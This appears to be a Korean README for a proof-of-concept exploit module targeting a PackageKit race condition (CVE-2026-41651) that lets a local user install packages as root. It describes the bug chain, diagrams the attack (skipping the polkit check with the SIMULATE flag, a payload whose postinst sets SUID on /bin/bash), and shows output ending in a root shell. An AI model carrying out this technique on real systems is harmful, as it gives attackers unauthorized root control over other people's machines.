
CVE-2026-41651 전용 리포지토리로, 이 단일 보안 이슈에 대한 취약점 관련 정보와 분석을 포함합니다.
🛡️ AI 보안 도구 모듈
CVE-2026-41651: PackageKit TOCTOU 로컬 권한 상승 (Pack2TheRoot)
AI 보안 도구 생태계를 위한 공식 보안 감사 및 익스플로잇 모듈
🌐 웹 데모 • 📚 프로젝트 웹사이트 • 💬 커뮤니티 채팅
웹사이트 내비게이션: 홈 • 업데이트 • 다운로드 • 모듈
이 모듈은 PackageKit의 트랜잭션 핸들러(packagekitd)에 존재하는 심각한 TOCTOU(Time-of-Check to Time-of-Use) 경쟁 조건인 CVE-2026-41651(Pack2TheRoot)에 대한 진단 도구와 심층 기술 분석을 제공합니다.
이 취약점을 통해 모든 로컬 비권한 사용자는 권한 부여 검사를 우회하고 인증 없이 root 권한으로 임의의 패키지를 설치할 수 있습니다.
| 사양 | 할당된 값 | 비고 |
|---|---|---|
| CVE 식별자 | CVE-2026-41651 |
PackageKit TOCTOU 로컬 권한 상승 |
| 구성 요소 | PackageKit 데몬 (packagekitd) |
핵심 트랜잭션 핸들러 |
| 영향받는 버전 | 1.0.2 – 1.3.4 |
패치되지 않은 데몬 릴리스 |
| 수정된 버전 | 1.3.5 |
트랜잭션 핸들러에 상태 가드 추가됨 |
| 영향 및 벡터 | 로컬 권한 상승 → root | 인증 또는 사용자 상호작용 불필요 |
| 테스트된 플랫폼 | Ubuntu 24.04, Debian 12 | 표준 시스템 구성 |

src/pk-transaction.c의 세 가지 서로 다른 버그가 연쇄적으로 작용하여 권한 부여와 실행 사이에 TOCTOU 윈도우를 생성합니다:
InstallFiles()가 상태 확인 없이 cached_transaction_flags와 cached_full_paths를 무조건 덮어씁니다.pk_transaction_set_state()가 플래그가 덮어쓰인 상태에서 역방향 전환을 조용히 무시합니다.pk_transaction_run()이 권한 부여 시점이 아닌 GLib idle의 디스패치 시점에 캐시된 플래그를 읽습니다.PK_TRANSACTION_FLAG_SIMULATE(비트 2, 값 0x4)를 설정하면 polkit 검사를 완전히 건너뜁니다.Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ │ [idle fires]
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
두 InstallFiles 호출은 클라이언트의 메인 루프가 반복되기 전에 fire-and-forget 방식의 비동기 D-Bus 호출로 전송됩니다. Polkitd는 결국 두 번째 호출에 대해 NOT_AUTHORIZED를 반환하지만, 그 시점에는 이미 APT가 설치를 디스패치한 후입니다.
sudo apt install libglib2.0-dev make
다른 의존성은 없습니다 — .deb 패키지는 런타임에 순수 C로 빌드됩니다.
출력 예시:
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max tabular)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)